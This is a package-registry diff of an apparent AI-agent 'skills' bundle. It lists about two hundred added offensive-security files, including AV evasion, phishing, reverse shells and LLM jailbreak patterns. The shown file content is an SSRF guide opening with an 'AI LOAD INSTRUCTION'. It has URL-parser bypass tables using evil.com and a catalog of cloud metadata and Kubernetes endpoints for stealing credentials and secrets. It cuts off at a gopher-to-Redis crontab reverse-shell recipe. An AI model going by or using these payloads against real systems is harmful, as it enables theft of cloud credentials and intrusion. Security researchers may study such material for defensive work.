ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,650 @@
|
|
|
1
|
+
# URL Parser Differentials & Advanced SSRF Techniques
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need URL parser confusion tables, full cloud metadata endpoint catalogs, gopher:// payload recipes, DNS rebinding deep dives, or headless-browser/PDF-generator SSRF patterns. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. URL PARSER DIFFERENTIAL TABLE
|
|
8
|
+
|
|
9
|
+
Different URL parsers interpret ambiguous URLs differently. This is the core of SSRF filter bypass.
|
|
10
|
+
|
|
11
|
+
### 1.1 Authority Parsing (Who Is the Host?)
|
|
12
|
+
|
|
13
|
+
Test URL: `http://evil.com@safe.com/path`
|
|
14
|
+
|
|
15
|
+
| Parser | Resolved Host | Notes |
|
|
16
|
+
|---|---|---|
|
|
17
|
+
| Python `urllib.parse.urlparse` | `safe.com` | Treats `evil.com` as userinfo |
|
|
18
|
+
| Python `requests` | `safe.com` | Same as urllib |
|
|
19
|
+
| Java `java.net.URL` | `safe.com` | Userinfo before `@` |
|
|
20
|
+
| Java `java.net.URI` | `safe.com` | Same |
|
|
21
|
+
| PHP `parse_url` | `safe.com` | Userinfo before `@` |
|
|
22
|
+
| Node.js `url.parse` (legacy) | `safe.com` | Userinfo before `@` |
|
|
23
|
+
| Node.js `new URL()` (WHATWG) | `safe.com` | Same |
|
|
24
|
+
| Go `net/url.Parse` | `safe.com` | Same |
|
|
25
|
+
| cURL | `safe.com` | Sends to safe.com with auth evil.com |
|
|
26
|
+
|
|
27
|
+
**Exploit scenario**: filter checks host, request library resolves differently.
|
|
28
|
+
|
|
29
|
+
### 1.2 Backslash Handling
|
|
30
|
+
|
|
31
|
+
Test URL: `http://evil.com\@safe.com/path`
|
|
32
|
+
|
|
33
|
+
| Parser | Resolved Host | Notes |
|
|
34
|
+
|---|---|---|
|
|
35
|
+
| Python `urllib` | `evil.com\@safe.com` | Backslash NOT treated as separator |
|
|
36
|
+
| Python `requests` | `evil.com` | May treat `\` as path separator |
|
|
37
|
+
| Java `URL` | `evil.com\@safe.com` or error | Implementation-dependent |
|
|
38
|
+
| PHP `parse_url` | `safe.com` | Ignores backslash in authority |
|
|
39
|
+
| Node.js `url.parse` (legacy) | `evil.com` | `\` treated as `/` |
|
|
40
|
+
| Node.js `new URL()` | `evil.com` | `\` normalized to `/` |
|
|
41
|
+
| Go `net/url` | error or literal | Strict parsing |
|
|
42
|
+
| cURL | `evil.com` | Backslash treated as path separator |
|
|
43
|
+
|
|
44
|
+
### 1.3 Fragment (`#`) Handling
|
|
45
|
+
|
|
46
|
+
Test URL: `http://evil.com#@safe.com/path`
|
|
47
|
+
|
|
48
|
+
| Parser | Resolved Host | Notes |
|
|
49
|
+
|---|---|---|
|
|
50
|
+
| Python `urllib` | `evil.com` | `#` starts fragment, `@safe.com` in fragment |
|
|
51
|
+
| Python `requests` | `evil.com` | Same |
|
|
52
|
+
| Java `URL` | `evil.com` | Fragment stripped for connection |
|
|
53
|
+
| PHP `parse_url` | `evil.com` | `#` delimits fragment |
|
|
54
|
+
| Node.js `url.parse` | `evil.com` | Fragment parsed |
|
|
55
|
+
| cURL | `evil.com` | Fragment ignored for request |
|
|
56
|
+
|
|
57
|
+
**Exploit**: if filter uses parser that treats `#@safe.com` as fragment (sees `evil.com`), but the actual HTTP client sends to a different resolved host.
|
|
58
|
+
|
|
59
|
+
### 1.4 Null Byte / Encoded Separator
|
|
60
|
+
|
|
61
|
+
Test URL: `http://safe.com%00@evil.com/` and `http://safe.com%23@evil.com/`
|
|
62
|
+
|
|
63
|
+
| Parser | Behavior |
|
|
64
|
+
|---|---|
|
|
65
|
+
| Python `urllib` | `%00` may truncate at null in C-backed functions → sees `safe.com` |
|
|
66
|
+
| PHP `parse_url` | `%00` may truncate hostname → sees `safe.com` |
|
|
67
|
+
| Node.js `url.parse` | Decodes `%00` → potential truncation |
|
|
68
|
+
| Java `URL` | Usually rejects null byte |
|
|
69
|
+
| Go `net/url` | Usually rejects null byte |
|
|
70
|
+
| cURL (older) | May truncate at null → connects to `safe.com` but path leads to `evil.com` |
|
|
71
|
+
|
|
72
|
+
### 1.5 IPv6 Bracket Confusion
|
|
73
|
+
|
|
74
|
+
Test URL: `http://[::ffff:127.0.0.1]` and `http://[::ffff:169.254.169.254]`
|
|
75
|
+
|
|
76
|
+
| Parser | Behavior |
|
|
77
|
+
|---|---|
|
|
78
|
+
| Python `urllib` | Parses IPv6, resolves to mapped IPv4 |
|
|
79
|
+
| PHP `parse_url` | Parses IPv6 brackets correctly |
|
|
80
|
+
| Node.js | Parses IPv6 brackets |
|
|
81
|
+
| Java | Parses IPv6 brackets |
|
|
82
|
+
| Go | Parses IPv6 brackets |
|
|
83
|
+
| cURL | Connects to mapped IPv4 address |
|
|
84
|
+
|
|
85
|
+
**Exploit**: if filter blocks `127.0.0.1` but not `[::ffff:127.0.0.1]`.
|
|
86
|
+
|
|
87
|
+
### 1.6 Port Handling Differences
|
|
88
|
+
|
|
89
|
+
Test URL: `http://safe.com:80@evil.com/`
|
|
90
|
+
|
|
91
|
+
| Parser | Resolved Host |
|
|
92
|
+
|---|---|
|
|
93
|
+
| Python `urllib` | `evil.com` (treats `safe.com:80` as userinfo) |
|
|
94
|
+
| PHP `parse_url` | `evil.com` |
|
|
95
|
+
| Node.js `url.parse` | `evil.com` |
|
|
96
|
+
| Java `URL` | `evil.com` |
|
|
97
|
+
|
|
98
|
+
**Exploit**: filter sees `safe.com` in URL string via regex, but parser resolves to `evil.com`.
|
|
99
|
+
|
|
100
|
+
### 1.7 Triple-Slash File Protocol
|
|
101
|
+
|
|
102
|
+
Test URL: `file:///etc/passwd` vs `file://evil.com/etc/passwd`
|
|
103
|
+
|
|
104
|
+
| Parser | Behavior |
|
|
105
|
+
|---|---|
|
|
106
|
+
| cURL | `file:///etc/passwd` reads local; `file://evil.com/etc/passwd` reads from SMB on Windows |
|
|
107
|
+
| Python `urllib` | `file:///etc/passwd` reads local |
|
|
108
|
+
| Java | `file:///etc/passwd` reads local |
|
|
109
|
+
| Node.js | Depends on fetch library implementation |
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## 2. FULL CLOUD METADATA ENDPOINT CATALOG
|
|
114
|
+
|
|
115
|
+
### 2.1 AWS EC2
|
|
116
|
+
|
|
117
|
+
```
|
|
118
|
+
# IMDSv1 (no auth — most critical)
|
|
119
|
+
http://169.254.169.254/latest/meta-data/
|
|
120
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
121
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
|
|
122
|
+
http://169.254.169.254/latest/user-data
|
|
123
|
+
http://169.254.169.254/latest/meta-data/hostname
|
|
124
|
+
http://169.254.169.254/latest/meta-data/local-ipv4
|
|
125
|
+
http://169.254.169.254/latest/meta-data/public-ipv4
|
|
126
|
+
http://169.254.169.254/latest/meta-data/public-keys/
|
|
127
|
+
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
|
|
128
|
+
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
|
|
129
|
+
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
130
|
+
|
|
131
|
+
# IMDSv2 (token-based — bypass if SSRF can send PUT + custom headers)
|
|
132
|
+
# Step 1:
|
|
133
|
+
PUT http://169.254.169.254/latest/api/token
|
|
134
|
+
X-aws-ec2-metadata-token-ttl-seconds: 21600
|
|
135
|
+
# Step 2:
|
|
136
|
+
GET http://169.254.169.254/latest/meta-data/
|
|
137
|
+
X-aws-ec2-metadata-token: TOKEN_FROM_STEP1
|
|
138
|
+
|
|
139
|
+
# ECS Task Metadata (containers)
|
|
140
|
+
http://169.254.170.2/v2/credentials/<GUID>
|
|
141
|
+
# GUID from: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var
|
|
142
|
+
|
|
143
|
+
# Lambda environment
|
|
144
|
+
file:///proc/self/environ → AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### 2.2 Google Cloud Platform (GCP)
|
|
148
|
+
|
|
149
|
+
```
|
|
150
|
+
# Requires header: Metadata-Flavor: Google
|
|
151
|
+
http://metadata.google.internal/computeMetadata/v1/
|
|
152
|
+
http://metadata.google.internal/computeMetadata/v1/instance/
|
|
153
|
+
http://metadata.google.internal/computeMetadata/v1/instance/hostname
|
|
154
|
+
http://metadata.google.internal/computeMetadata/v1/instance/zone
|
|
155
|
+
http://metadata.google.internal/computeMetadata/v1/instance/machine-type
|
|
156
|
+
http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/ip
|
|
157
|
+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
|
|
158
|
+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
|
159
|
+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
|
|
160
|
+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
|
|
161
|
+
http://metadata.google.internal/computeMetadata/v1/instance/attributes/
|
|
162
|
+
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
|
|
163
|
+
http://metadata.google.internal/computeMetadata/v1/project/project-id
|
|
164
|
+
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
|
|
165
|
+
|
|
166
|
+
# Alternative IP (if metadata.google.internal is blocked):
|
|
167
|
+
http://169.254.169.254/computeMetadata/v1/ (with header)
|
|
168
|
+
|
|
169
|
+
# Bypass header requirement (if SSRF doesn't support custom headers):
|
|
170
|
+
# Some older GCP versions allowed without header — worth trying
|
|
171
|
+
# Also try: Metadata-Flavor: Google\r\nX-Ignore:
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
### 2.3 Microsoft Azure
|
|
175
|
+
|
|
176
|
+
```
|
|
177
|
+
# Requires header: Metadata: true
|
|
178
|
+
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
179
|
+
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
|
|
180
|
+
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
|
|
181
|
+
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
|
|
182
|
+
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
|
|
183
|
+
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/
|
|
184
|
+
http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
|
185
|
+
|
|
186
|
+
# Azure App Service
|
|
187
|
+
http://169.254.130.1/ (different IP than standard!)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
### 2.4 DigitalOcean
|
|
191
|
+
|
|
192
|
+
```
|
|
193
|
+
# No auth header required
|
|
194
|
+
http://169.254.169.254/metadata/v1/
|
|
195
|
+
http://169.254.169.254/metadata/v1/id
|
|
196
|
+
http://169.254.169.254/metadata/v1/hostname
|
|
197
|
+
http://169.254.169.254/metadata/v1/region
|
|
198
|
+
http://169.254.169.254/metadata/v1/interfaces/
|
|
199
|
+
http://169.254.169.254/metadata/v1/dns/nameservers
|
|
200
|
+
http://169.254.169.254/metadata/v1/user-data
|
|
201
|
+
http://169.254.169.254/metadata/v1/vendor-data
|
|
202
|
+
http://169.254.169.254/metadata/v1/floating_ip/ipv4/active
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### 2.5 Alibaba Cloud (Aliyun)
|
|
206
|
+
|
|
207
|
+
```
|
|
208
|
+
# No auth header required
|
|
209
|
+
http://100.100.100.200/latest/meta-data/
|
|
210
|
+
http://100.100.100.200/latest/meta-data/instance-id
|
|
211
|
+
http://100.100.100.200/latest/meta-data/hostname
|
|
212
|
+
http://100.100.100.200/latest/meta-data/image-id
|
|
213
|
+
http://100.100.100.200/latest/meta-data/region-id
|
|
214
|
+
http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
|
215
|
+
http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
|
|
216
|
+
http://100.100.100.200/latest/user-data
|
|
217
|
+
http://100.100.100.200/latest/meta-data/private-ipv4
|
|
218
|
+
http://100.100.100.200/latest/meta-data/eipv4
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
### 2.6 Oracle Cloud Infrastructure (OCI)
|
|
222
|
+
|
|
223
|
+
```
|
|
224
|
+
# Requires header: Authorization: Bearer Oracle
|
|
225
|
+
http://169.254.169.254/opc/v1/instance/
|
|
226
|
+
http://169.254.169.254/opc/v1/instance/metadata/
|
|
227
|
+
http://169.254.169.254/opc/v2/instance/ (v2 — requires auth header)
|
|
228
|
+
http://169.254.169.254/opc/v1/identity/cert.pem
|
|
229
|
+
http://169.254.169.254/opc/v1/identity/key.pem
|
|
230
|
+
http://169.254.169.254/opc/v1/identity/intermediate.pem
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
### 2.7 Kubernetes Service Account
|
|
234
|
+
|
|
235
|
+
```
|
|
236
|
+
# In-cluster service account token (file read via SSRF):
|
|
237
|
+
file:///var/run/secrets/kubernetes.io/serviceaccount/token
|
|
238
|
+
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
239
|
+
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
|
|
240
|
+
|
|
241
|
+
# Kubernetes API (from within cluster):
|
|
242
|
+
https://kubernetes.default.svc/api
|
|
243
|
+
https://kubernetes.default.svc/api/v1/namespaces
|
|
244
|
+
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
|
|
245
|
+
https://kubernetes.default.svc/api/v1/namespaces/default/pods
|
|
246
|
+
https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets
|
|
247
|
+
|
|
248
|
+
# kubelet API (often no auth on port 10255):
|
|
249
|
+
http://NODE_IP:10255/pods
|
|
250
|
+
http://NODE_IP:10255/spec
|
|
251
|
+
|
|
252
|
+
# etcd (critical — contains all cluster state):
|
|
253
|
+
http://NODE_IP:2379/v2/keys/
|
|
254
|
+
http://NODE_IP:2379/v2/keys/registry/secrets/
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
### 2.8 Hetzner Cloud
|
|
258
|
+
|
|
259
|
+
```
|
|
260
|
+
http://169.254.169.254/hetzner/v1/metadata
|
|
261
|
+
http://169.254.169.254/hetzner/v1/metadata/hostname
|
|
262
|
+
http://169.254.169.254/hetzner/v1/metadata/instance-id
|
|
263
|
+
http://169.254.169.254/hetzner/v1/metadata/private-networks
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
### 2.9 OpenStack
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
http://169.254.169.254/openstack/latest/meta_data.json
|
|
270
|
+
http://169.254.169.254/openstack/latest/user_data
|
|
271
|
+
http://169.254.169.254/openstack/latest/network_data.json
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## 3. GOPHER:// PAYLOAD RECIPES
|
|
277
|
+
|
|
278
|
+
`gopher://` allows sending raw TCP data — powerful when SSRF is combined with internal services that speak plaintext protocols.
|
|
279
|
+
|
|
280
|
+
### 3.1 Gopher → Redis
|
|
281
|
+
|
|
282
|
+
**Write crontab reverse shell**:
|
|
283
|
+
|
|
284
|
+
```
|
|
285
|
+
